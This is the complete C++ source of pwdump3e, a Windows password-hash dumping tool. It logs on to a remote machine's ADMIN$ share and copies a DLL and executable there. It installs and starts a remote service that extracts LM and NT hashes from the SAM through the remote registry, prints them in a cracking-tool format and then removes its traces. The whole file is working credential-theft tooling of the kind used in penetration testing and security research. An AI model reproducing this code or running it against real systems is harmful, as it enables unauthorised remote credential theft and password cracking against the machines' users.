/* Copyright ©2001 e-business technology, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License Version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. The program may contain errors that could cause failures or loss of data, and may be incomplete or contain inaccuracies. By using the program, you expressly acknowledge and agree that use of the program, or any portion thereof, is at your sole and entire risk. You are solely responsible for determining the appropriateness of using, copying, distributing and modifying the program and assume all risks of exercising your rights under the license, compliance with all applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations. THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES EXPRESSLY DISCLAIM ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES DO NOT WARRANT AGAINST INTERFERENCE WITH YOUR ENJOYMENT OF THE PROGRAM, THAT THE FUNCTIONS CONTAINED IN THE PROGRAM WILL MEET YOUR NEEDS, THAT THE OPERATION OF THE PROGRAM WILL BE UNINTERRUPTED OR ERROR-FREE, OR THAT DEFECTS IN THE PROGRAM WILL BE CORRECTED. THE DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THE LICENSE TO USE THE PROGRAM AND NO USE OF THE PROGRAM IS AUTHORIZED EXCEPT UNDER THE DISCLAIMER. ALSO, SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU. See the GNU General Public License Version 2 for more details. You should have received a copy of the GNU General Public License Version 2 along with this program; if not, write to the Free Software Foundation, 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #include #include #include #include #include "diffie.h" // from the LsaExt dll extern "C" { DWORD obfuscate( BYTE* data, DWORD* dataLen, DWORD id, BYTE* primkey, BOOL encrypt ); DWORD initCrypto( ); void closeCrypto( ); } // PwDump3 main program int main( int argc, char* argv[] ) { char errMsg[1024]; FILE* outfile = stdout; SC_HANDLE hscm = NULL; SC_HANDLE hsvc = NULL; HKEY hkConnect = NULL; HKEY hkHash = NULL; char* keyName = "SOFTWARE\\Ebiz\\hash"; // initialize Diffie-Hellman object for key generation diffie512 dhHost; // notice to user fprintf( stderr, "\npwdump3e (rev 1) by Phil Staubs, e-business technology, 23 Feb 2001\n" ); fprintf( stderr, "Copyright 2001 e-business technology, Inc.\n\n" ); fprintf( stderr, "This program is free software based on pwpump2 by Todd Sabin under the GNU\n" ); fprintf( stderr, "General Public License Version 2 (GNU GPL), you can redistribute it and/or\n" ); fprintf( stderr, "modify it under the terms of the GNU GPL, as published by the Free Software\n" ); fprintf( stderr, "Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\n" ); fprintf( stderr, "PROGRAM. Please see the COPYING file included with this program (also\n" ); fprintf( stderr, "available at www.ebiz-tech.com/pwdump3) and the GNU GPL for further details.\n\n" ); if( argc < 2 ) { fprintf( stderr, "Usage: PWDUMP3E machineName [outputFile] [userName]\n" ); return 0; } // remote machine name char machineName[MAX_PATH]; char* machineArg = argv[1]; while( *machineArg == '\\' ) machineArg++; sprintf( machineName, "\\\\%s", machineArg ); char resourceName[MAX_PATH]; sprintf( resourceName, "%s\\ADMIN$", machineName ); try { // output file if( argc >= 3 ) { outfile = fopen( argv[2], "w" ); if( !outfile ) { sprintf( errMsg, "Couldn't open %s for writing.\n", argv[2] ); throw errMsg; } } // user name char pwBuf[256]; char* password = NULL; char* userName = NULL; if( argc >= 4 ) { userName = argv[3]; // get password int i = 0; char c = 0; fprintf( stderr, "Please enter the password >" ); while( c != '\r' ) { c = _getch( ); pwBuf[i++] = c; _putch( '*' ); } pwBuf[--i] = 0; _putch( '\r' ); _putch( '\n' ); password = (char*)pwBuf; } // connect to machine NETRESOURCE rec; rec.dwType = RESOURCETYPE_DISK; rec.lpLocalName = NULL; rec.lpRemoteName = resourceName; rec.lpProvider = NULL; int rc = WNetAddConnection2( &rec, password, userName, 0 ); if( rc != ERROR_SUCCESS ) { sprintf( errMsg, "Logon to %s failed: code %d\n", resourceName, rc ); throw errMsg; } // copy public key to remote machine if( RegConnectRegistry( machineName, HKEY_LOCAL_MACHINE, &hkConnect ) != ERROR_SUCCESS ) { sprintf( errMsg, "Couldn't connect to remote registry.\n" ); throw errMsg; } if( RegCreateKeyEx( hkConnect, keyName, 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hkHash, NULL ) != ERROR_SUCCESS ) { sprintf( errMsg, "Registry key creation failed: code %d\n", GetLastError() ); throw errMsg; } if( RegSetValueEx( hkHash, "Key", 0, REG_BINARY, dhHost.getPublicKey(), KEY_BYTES ) != ERROR_SUCCESS ) { sprintf( errMsg, "Registry set Key value failed: code %d\n", GetLastError() ); throw errMsg; } // where are our files? char localPath[MAX_PATH]; GetModuleFileName( NULL, localPath, MAX_PATH ); // copy dll file to remote machine strcpy( strrchr(localPath, '\\')+1, "LsaExt.dll" ); char rDllname[MAX_PATH]; strcpy( rDllname, resourceName ); strcat( rDllname, "\\LsaExt.dll" ); FILE* flocal = fopen( localPath, "rb" ); if( !flocal ) { sprintf( errMsg, "Couldn't open %s for reading.\n", localPath ); throw errMsg; } FILE* fremote = fopen( rDllname, "wb" ); if( !fremote ) { sprintf( errMsg, "Couldn't open %s for writing: %d\n", rDllname, GetLastError() ); fclose( flocal ); throw errMsg; } int cb; BYTE buffer[1024]; while( (cb = fread( buffer, 1, 1024, flocal)) ) fwrite( buffer, 1, cb, fremote ); fclose( flocal ); fclose( fremote ); // copy exe file to remote machine strcpy( strrchr(localPath, '\\')+1, "pwservice.exe" ); char rExename[MAX_PATH]; strcpy( rExename, rDllname ); strcpy( strrchr(rExename, '\\')+1, "pwservice.exe" ); flocal = fopen( localPath, "rb" ); if( !flocal ) { sprintf( errMsg, "Couldn't open %s for reading.\n", localPath ); throw errMsg; } fremote = fopen( rExename, "wb" ); if( !fremote ) { sprintf( errMsg, "Couldn't open %s for writing.\n", rExename ); fclose( flocal ); throw errMsg; } while( (cb = fread( buffer, 1, 1024, flocal)) ) fwrite( buffer, 1, cb, fremote ); fclose( flocal ); fclose( fremote ); // establish the service on remote machine hscm = OpenSCManager( machineName, NULL, SC_MANAGER_CREATE_SERVICE ); if( !hscm ) { sprintf( errMsg, "Failed to open SCM\n" ); throw errMsg; } hsvc = CreateService( hscm, "pwservice", "PW Dumper", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, "pwservice.exe", NULL, NULL, NULL, NULL, NULL ); if( !hsvc ) { hsvc = OpenService( hscm, "pwservice", SERVICE_ALL_ACCESS ); if( !hsvc ) { sprintf( errMsg, "Failed to create service\n" ); throw errMsg; } } // parameter for service const char* varg[1]; varg[0] = keyName; // run service if( !StartService( hsvc, 1, varg ) ) fprintf( stderr, "Service failed: %d\n", GetLastError() ); // when the executable is finished running, it can be deleted - clean up for( int i = 0; ; i++ ) { if( i == 99 ) fprintf( stderr, "Waiting for remote service to terminate...\n" ); else if( i == 199 ) fprintf( stderr, " ...Servers with many user accounts can take several minutes" ); else if( i % 100 == 99 ) fprintf( stderr, "." ); Sleep( 100 ); if( DeleteFile( rExename ) ) break; } fprintf( stderr, "\n" ); if( !DeleteFile( rDllname ) ) fprintf( stderr, "Couldn't delete executables from remote machine: %d\n", GetLastError() ); // prepare for encryption of the hash data if( !initCrypto() ) { sprintf( errMsg, "CryptAcquireContext failed: 0x%08x", GetLastError() ); throw errMsg; } // now extract the hash data from the registry (temporary storage) int index = 0; char itemName[1024]; char* pRid; DWORD nameSize = sizeof(itemName); DWORD keyType = 0; BYTE regData[256]; DWORD dataSize = sizeof(regData); // find the remote machine's public key and generate mutual key if( RegQueryValueEx( hkHash, "Key", NULL, &keyType, regData, &dataSize ) != ERROR_SUCCESS ) { sprintf( errMsg, "Couldn't read key from remote registry.\n" ); throw errMsg; } BYTE* magic = dhHost.getMutualKey( regData ); // iterate though all values for this key - one per user on remote machine dataSize = sizeof(regData); while( RegEnumValue( hkHash, index, itemName, &nameSize, NULL, &keyType, regData, &dataSize ) == ERROR_SUCCESS ) { if( index == 500 ) fprintf( stderr, "Extracting hash data from remote machine...\n" ); if( keyType == REG_BINARY && (pRid = strchr( itemName, ':' )) ) { char LMdata[40]; char NTdata[40]; char *p; int i; if( !obfuscate( regData, &dataSize, atoi(++pRid), magic, FALSE ) ) throw( "Obfuscate failed.\n" ); DWORD* dwdata = (DWORD*)regData; // get LM hash if( (dwdata[4] == 0x35b4d3aa) && (dwdata[5] == 0xee0414b5) && (dwdata[6] == 0x35b4d3aa) && (dwdata[7] == 0xee0414b5) ) sprintf( LMdata, "NO PASSWORD*********************" ); else for( i = 16, p = LMdata; i < 32; i++, p += 2 ) sprintf( p, "%02X", regData[i] ); // get NT hash if( (dwdata[0] == 0xe0cfd631) && (dwdata[1] == 0x31e96ad1) && (dwdata[2] == 0xd7593cb7) && (dwdata[3] == 0xc089c0e0) ) sprintf( NTdata, "NO PASSWORD*********************" ); else for( i = 0, p = NTdata; i < 16; i++, p += 2 ) sprintf( p, "%02X", regData[i] ); // display data in L0phtCrack-compatible format fprintf( outfile, "%s:%s:%s:::\n", itemName, LMdata, NTdata ); } nameSize = sizeof(itemName); dataSize = sizeof(regData); index++; } // remove the registry data throw "Completed.\n"; } // clean up catch( char* msg ) { closeCrypto(); if( outfile ) fclose( outfile ); if( hkHash ) RegCloseKey( hkHash ); if( hkConnect) { RegDeleteKey( hkConnect, keyName ); RegCloseKey( hkConnect ); } if( hsvc) { DeleteService( hsvc ); CloseServiceHandle( hsvc ); } if( hscm ) CloseServiceHandle( hscm ); WNetCancelConnection2( resourceName, 0, false ); if( msg ) fprintf( stderr, msg ); } return 0; }